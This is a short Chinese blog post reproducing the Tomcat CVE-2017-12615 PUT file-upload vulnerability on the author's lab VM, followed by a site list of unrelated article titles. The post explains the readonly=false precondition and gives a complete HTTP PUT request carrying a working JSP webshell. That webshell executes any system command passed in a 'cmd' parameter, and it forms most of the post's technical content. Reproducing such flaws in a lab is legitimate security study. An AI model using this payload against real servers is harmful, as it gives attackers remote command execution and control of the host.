Tomcat任意文件上传漏洞CVE-2017-12615复现

今天在群里听到有人讲这个CVE-2017-12615漏洞,想起自己的虚机ubuntu里面曾经装过tomcat,午休时间来瞅瞅。

漏洞利用条件和方式

CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。

漏洞描述:

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

漏洞复现

首先运行tomcat环境,startup.sh

修改conf/web.xml文件添加readonly参数,属性值为false

使用burpsuite发送构造的的webshell

    PUT /123.jsp/ HTTP/1.1
Host: 192.168.23.209:8080
User-Agent: JNTASS
DNT:1
Connection: close
Content-Length: 664 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

漏洞利用就这样简单的完成。

任重而道远!

最新文章

  1. centos 6.4 系统代理上网 设置
  2. [转] Oracle analyze 命令分析
  3. call和apply的差别
  4. iOS开发UI篇—程序启动原理和UIApplication1
  5. MVC Razor视图引擎
  6. VS2015预览版中的C#6.0 新功能(三)
  7. 如何取消input记忆功能
  8. Hadoop权威指南:HDFS-Hadoop存档
  9. ShoneSharp语言(S#)的设计和使用介绍—数值Double
  10. Python交互图表可视化Bokeh:6. 轴线| 浮动| 多图表
  11. python常用库 - NumPy 和 sklearn入门
  12. JAVA基础部分复习(六、常用关键字说明)
  13. C#常用修饰符
  14. JAVA RSA私钥 加密(签名) 对应 C# RSA私钥 加密(签名)
  15. Atitit jquery &#160;1.4--v1.11 &#160;v1.12 &#160;v2.0 &#160;3.0 的新特性
  16. 【.netcore基础】MVC制器Controller依赖注入
  17. Java中线程出现Exception in thread &quot;Thread-0&quot; java.lang.IllegalMonitorStateException异常 解决方法
  18. cxf之GET,POST,PUT,DELETE的区别
  19. Tomcat在Linux下的安装与配置
  20. sql server服务看不到,显示为远程过程调用在与 SQL Server 建立连接时出现与网络相关的或特定于实例的错误10061

热门文章

  1. struts2 中的数据访问servletAPI
  2. MySQL--时间戳属性2
  3. zeebe docker-compose 运行(包含monitor)
  4. lamp安装总结
  5. c# AddMonths,你了解吗?
  6. mysql之 事务prepare 与 commit 阶段分析
  7. mysql之 Percona XtraDB Cluster集群线程模型
  8. js 去掉前后空格(正则表达式方法)
  9. How to Export to Excel
  10. 删除JavaScript对象中的元素